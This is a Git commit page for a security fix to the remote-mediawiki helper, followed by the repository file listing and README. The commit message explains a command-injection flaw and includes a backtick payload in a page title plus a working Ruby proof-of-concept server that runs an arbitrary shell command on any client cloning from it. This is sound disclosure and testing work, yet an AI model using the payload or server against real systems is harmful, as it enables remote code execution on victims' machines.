remote-mediawiki: convert to quoted run_git() invocation

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.

This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.

The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:

    [...]"title":"`id>/tmp/mw`:Main Page"[..]

Would result in an invocation of:

    git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"

>From code such as this, which is being changed by this patch:

    run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));

So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.

About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):

    1. The mediawiki helper has never been shipped as part of an
       official Git for Windows version. Neither has it ever been part
       of an official MSYS2 package. Which means that Windows users
       who want to use the mediawiki helper have to build Git
       themselves, which not many users seem to do.

    2. The last Git for Windows version to ship with Perl v5.22.x was
       Git for Windows v2.11.1; Since Git for Windows
       v2.12.0 (released on February 25th, 2017), only newer Perl
       versions were included.

So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.

For further reference and future testing, here's working exploit code
provided by Joern:

    #!/usr/bin/ruby
    # git client side RCE via `mediawiki` remote proof of concept
    # Joern Schneeweisz - GitLab Security Research Team

    require 'sinatra'
    set bind: '0.0.0.0'

    if not ARGV[0]

      puts "Please provide the shell command to be execucted."
      exit -1

    end

    cmd = ARGV[0]
    all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
    revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
    mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)

    post '/api.php' do

      if params[:list] == 'allpages'
        return all_pages
      end

      if params[:prop] == 'revisions'
        return revs
      end

      return mainpage
    end

Which:

    [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
    being cloned with `git clone mediawiki::http://localhost:4567` the
    file `/tmp/mw` will be created during the clone process,
    containing the output of `id`.

1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens

Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
Signed-off-by: Junio C Hamano <gitster@pobox.com>
1 file changed
tree: 42bb67a016fb9d8ad91294ae3bc3696cb54b7ae1
  1. .github/
  2. block-sha1/
  3. builtin/
  4. ci/
  5. compat/
  6. contrib/
  7. Documentation/
  8. ewah/
  9. git-gui/
  10. gitk-git/
  11. gitweb/
  12. mergetools/
  13. negotiator/
  14. perl/
  15. po/
  16. ppc/
  17. refs/
  18. sha1dc/
  19. sha256/
  20. t/
  21. templates/
  22. trace2/
  23. vcs-svn/
  24. xdiff/
  25. .cirrus.yml
  26. .clang-format
  27. .editorconfig
  28. .gitattributes
  29. .gitignore
  30. .gitmodules
  31. .mailmap
  32. .travis.yml
  33. .tsan-suppressions
  34. abspath.c
  35. aclocal.m4
  36. add-interactive.c
  37. add-interactive.h
  38. add-patch.c
  39. advice.c
  40. advice.h
  41. alias.c
  42. alias.h
  43. alloc.c
  44. alloc.h
  45. apply.c
  46. apply.h
  47. archive-tar.c
  48. archive-zip.c
  49. archive.c
  50. archive.h
  51. attr.c
  52. attr.h
  53. banned.h
  54. base85.c
  55. bisect.c
  56. bisect.h
  57. blame.c
  58. blame.h
  59. blob.c
  60. blob.h
  61. bloom.c
  62. bloom.h
  63. branch.c
  64. branch.h
  65. builtin.h
  66. bulk-checkin.c
  67. bulk-checkin.h
  68. bundle.c
  69. bundle.h
  70. cache-tree.c
  71. cache-tree.h
  72. cache.h
  73. chdir-notify.c
  74. chdir-notify.h
  75. check-builtins.sh
  76. check_bindir
  77. checkout.c
  78. checkout.h
  79. CODE_OF_CONDUCT.md
  80. color.c
  81. color.h
  82. column.c
  83. column.h
  84. combine-diff.c
  85. command-list.txt
  86. commit-graph.c
  87. commit-graph.h
  88. commit-reach.c
  89. commit-reach.h
  90. commit-slab-decl.h
  91. commit-slab-impl.h
  92. commit-slab.h
  93. commit.c
  94. commit.h
  95. common-main.c
  96. config.c
  97. config.h
  98. config.mak.dev
  99. config.mak.in
  100. config.mak.uname
  101. configure.ac
  102. connect.c
  103. connect.h
  104. connected.c
  105. connected.h
  106. convert.c
  107. convert.h
  108. copy.c
  109. COPYING
  110. credential.c
  111. credential.h
  112. csum-file.c
  113. csum-file.h
  114. ctype.c
  115. daemon.c
  116. date.c
  117. decorate.c
  118. decorate.h
  119. delta-islands.c
  120. delta-islands.h
  121. delta.h
  122. detect-compiler
  123. diff-delta.c
  124. diff-lib.c
  125. diff-no-index.c
  126. diff.c
  127. diff.h
  128. diffcore-break.c
  129. diffcore-delta.c
  130. diffcore-order.c
  131. diffcore-pickaxe.c
  132. diffcore-rename.c
  133. diffcore.h
  134. dir-iterator.c
  135. dir-iterator.h
  136. dir.c
  137. dir.h
  138. editor.c
  139. entry.c
  140. environment.c
  141. exec-cmd.c
  142. exec-cmd.h
  143. fetch-negotiator.c
  144. fetch-negotiator.h
  145. fetch-pack.c
  146. fetch-pack.h
  147. fmt-merge-msg.c
  148. fmt-merge-msg.h
  149. fsck.c
  150. fsck.h
  151. fsmonitor.c
  152. fsmonitor.h
  153. fuzz-commit-graph.c
  154. fuzz-pack-headers.c
  155. fuzz-pack-idx.c
  156. generate-cmdlist.sh
  157. generate-configlist.sh
  158. gettext.c
  159. gettext.h
  160. git-add--interactive.perl
  161. git-archimport.perl
  162. git-bisect.sh
  163. git-compat-util.h
  164. git-cvsexportcommit.perl
  165. git-cvsimport.perl
  166. git-cvsserver.perl
  167. git-difftool--helper.sh
  168. git-filter-branch.sh
  169. git-instaweb.sh
  170. git-merge-octopus.sh
  171. git-merge-one-file.sh
  172. git-merge-resolve.sh
  173. git-mergetool--lib.sh
  174. git-mergetool.sh
  175. git-p4.py
  176. git-parse-remote.sh
  177. git-quiltimport.sh
  178. git-rebase--preserve-merges.sh
  179. git-request-pull.sh
  180. git-send-email.perl
  181. git-sh-i18n.sh
  182. git-sh-setup.sh
  183. git-submodule.sh
  184. git-svn.perl
  185. GIT-VERSION-GEN
  186. git-web--browse.sh
  187. git.c
  188. git.rc
  189. gpg-interface.c
  190. gpg-interface.h
  191. graph.c
  192. graph.h
  193. grep.c
  194. grep.h
  195. hash.h
  196. hashmap.c
  197. hashmap.h
  198. help.c
  199. help.h
  200. hex.c
  201. http-backend.c
  202. http-fetch.c
  203. http-push.c
  204. http-walker.c
  205. http.c
  206. http.h
  207. ident.c
  208. imap-send.c
  209. INSTALL
  210. interdiff.c
  211. interdiff.h
  212. iterator.h
  213. json-writer.c
  214. json-writer.h
  215. khash.h
  216. kwset.c
  217. kwset.h
  218. levenshtein.c
  219. levenshtein.h
  220. LGPL-2.1
  221. line-log.c
  222. line-log.h
  223. line-range.c
  224. line-range.h
  225. linear-assignment.c
  226. linear-assignment.h
  227. list-objects-filter-options.c
  228. list-objects-filter-options.h
  229. list-objects-filter.c
  230. list-objects-filter.h
  231. list-objects.c
  232. list-objects.h
  233. list.h
  234. ll-merge.c
  235. ll-merge.h
  236. lockfile.c
  237. lockfile.h
  238. log-tree.c
  239. log-tree.h
  240. ls-refs.c
  241. ls-refs.h
  242. mailinfo.c
  243. mailinfo.h
  244. mailmap.c
  245. mailmap.h
  246. Makefile
  247. match-trees.c
  248. mem-pool.c
  249. mem-pool.h
  250. merge-blobs.c
  251. merge-blobs.h
  252. merge-recursive.c
  253. merge-recursive.h
  254. merge.c
  255. mergesort.c
  256. mergesort.h
  257. midx.c
  258. midx.h
  259. name-hash.c
  260. notes-cache.c
  261. notes-cache.h
  262. notes-merge.c
  263. notes-merge.h
  264. notes-utils.c
  265. notes-utils.h
  266. notes.c
  267. notes.h
  268. object-store.h
  269. object.c
  270. object.h
  271. oid-array.c
  272. oid-array.h
  273. oidmap.c
  274. oidmap.h
  275. oidset.c
  276. oidset.h
  277. pack-bitmap-write.c
  278. pack-bitmap.c
  279. pack-bitmap.h
  280. pack-check.c
  281. pack-objects.c
  282. pack-objects.h
  283. pack-revindex.c
  284. pack-revindex.h
  285. pack-write.c
  286. pack.h
  287. packfile.c
  288. packfile.h
  289. pager.c
  290. parse-options-cb.c
  291. parse-options.c
  292. parse-options.h
  293. patch-delta.c
  294. patch-ids.c
  295. patch-ids.h
  296. path.c
  297. path.h
  298. pathspec.c
  299. pathspec.h
  300. pkt-line.c
  301. pkt-line.h
  302. preload-index.c
  303. pretty.c
  304. pretty.h
  305. prio-queue.c
  306. prio-queue.h
  307. progress.c
  308. progress.h
  309. promisor-remote.c
  310. promisor-remote.h
  311. prompt.c
  312. prompt.h
  313. protocol.c
  314. protocol.h
  315. prune-packed.c
  316. prune-packed.h
  317. quote.c
  318. quote.h
  319. range-diff.c
  320. range-diff.h
  321. reachable.c
  322. reachable.h
  323. read-cache.c
  324. README.md
  325. rebase-interactive.c
  326. rebase-interactive.h
  327. rebase.c
  328. rebase.h
  329. ref-filter.c
  330. ref-filter.h
  331. reflog-walk.c
  332. reflog-walk.h
  333. refs.c
  334. refs.h
  335. refspec.c
  336. refspec.h
  337. remote-curl.c
  338. remote.c
  339. remote.h
  340. replace-object.c
  341. replace-object.h
  342. repo-settings.c
  343. repository.c
  344. repository.h
  345. rerere.c
  346. rerere.h
  347. reset.c
  348. reset.h
  349. resolve-undo.c
  350. resolve-undo.h
  351. revision.c
  352. revision.h
  353. run-command.c
  354. run-command.h
  355. send-pack.c
  356. send-pack.h
  357. sequencer.c
  358. sequencer.h
  359. serve.c
  360. serve.h
  361. server-info.c
  362. setup.c
  363. sh-i18n--envsubst.c
  364. sha1-file.c
  365. sha1-lookup.c
  366. sha1-lookup.h
  367. sha1-name.c
  368. sha1dc_git.c
  369. sha1dc_git.h
  370. shallow.c
  371. shallow.h
  372. shell.c
  373. shortlog.h
  374. sideband.c
  375. sideband.h
  376. sigchain.c
  377. sigchain.h
  378. split-index.c
  379. split-index.h
  380. stable-qsort.c
  381. strbuf.c
  382. strbuf.h
  383. streaming.c
  384. streaming.h
  385. string-list.c
  386. string-list.h
  387. strvec.c
  388. strvec.h
  389. sub-process.c
  390. sub-process.h
  391. submodule-config.c
  392. submodule-config.h
  393. submodule.c
  394. submodule.h
  395. symlinks.c
  396. tag.c
  397. tag.h
  398. tar.h
  399. tempfile.c
  400. tempfile.h
  401. thread-utils.c
  402. thread-utils.h
  403. tmp-objdir.c
  404. tmp-objdir.h
  405. trace.c
  406. trace.h
  407. trace2.c
  408. trace2.h
  409. trailer.c
  410. trailer.h
  411. transport-helper.c
  412. transport-internal.h
  413. transport.c
  414. transport.h
  415. tree-diff.c
  416. tree-walk.c
  417. tree-walk.h
  418. tree.c
  419. tree.h
  420. unicode-width.h
  421. unimplemented.sh
  422. unix-socket.c
  423. unix-socket.h
  424. unpack-trees.c
  425. unpack-trees.h
  426. upload-pack.c
  427. upload-pack.h
  428. url.c
  429. url.h
  430. urlmatch.c
  431. urlmatch.h
  432. usage.c
  433. userdiff.c
  434. userdiff.h
  435. utf8.c
  436. utf8.h
  437. varint.c
  438. varint.h
  439. version.c
  440. version.h
  441. versioncmp.c
  442. walker.c
  443. walker.h
  444. wildmatch.c
  445. wildmatch.h
  446. worktree.c
  447. worktree.h
  448. wrap-for-bin.sh
  449. wrapper.c
  450. write-or-die.c
  451. ws.c
  452. wt-status.c
  453. wt-status.h
  454. xdiff-interface.c
  455. xdiff-interface.h
  456. zlib.c
README.md

Build status

Git - fast, scalable, distributed revision control system

Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals.

Git is an Open Source project covered by the GNU General Public License version 2 (some parts of it are under different licenses, compatible with the GPLv2). It was originally written by Linus Torvalds with help of a group of hackers around the net.

Please read the file INSTALL for installation instructions.

Many Git online resources are accessible from https://git-scm.com/ including full documentation and Git related tools.

See Documentation/gittutorial.txt to get started, then see Documentation/giteveryday.txt for a useful minimum set of commands, and Documentation/git-<commandname>.txt for documentation of each command. If git has been correctly installed, then the tutorial can also be read with man gittutorial or git help tutorial, and the documentation of each command with man git-<commandname> or git help <commandname>.

CVS users may also want to read Documentation/gitcvs-migration.txt (man gitcvs-migration or git help cvs-migration if git is installed).

The user discussion and development of Git take place on the Git mailing list -- everyone is welcome to post bug reports, feature requests, comments and patches to git@vger.kernel.org (read Documentation/SubmittingPatches for instructions on patch submission). To subscribe to the list, send an email with just “subscribe git” in the body to majordomo@vger.kernel.org. The mailing list archives are available at https://lore.kernel.org/git/, http://marc.info/?l=git and other archival sites.

Issues which are security relevant should be disclosed privately to the Git Security mailing list git-security@googlegroups.com.

The maintainer frequently sends the “What's cooking” reports that list the current status of various development topics to the mailing list. The discussion following them give a good reference for project status, development direction and remaining tasks.

The name “git” was given by Linus Torvalds when he wrote the very first version. He described the tool as “the stupid content tracker” and the name as (depending on your mood):

  • random three-letter combination that is pronounceable, and not actually used by any common UNIX command. The fact that it is a mispronunciation of “get” may or may not be relevant.
  • stupid. contemptible and despicable. simple. Take your pick from the dictionary of slang.
  • “global information tracker”: you're in a good mood, and it actually works for you. Angels sing, and a light suddenly fills the room.
  • “goddamn idiotic truckload of sh*t”: when it breaks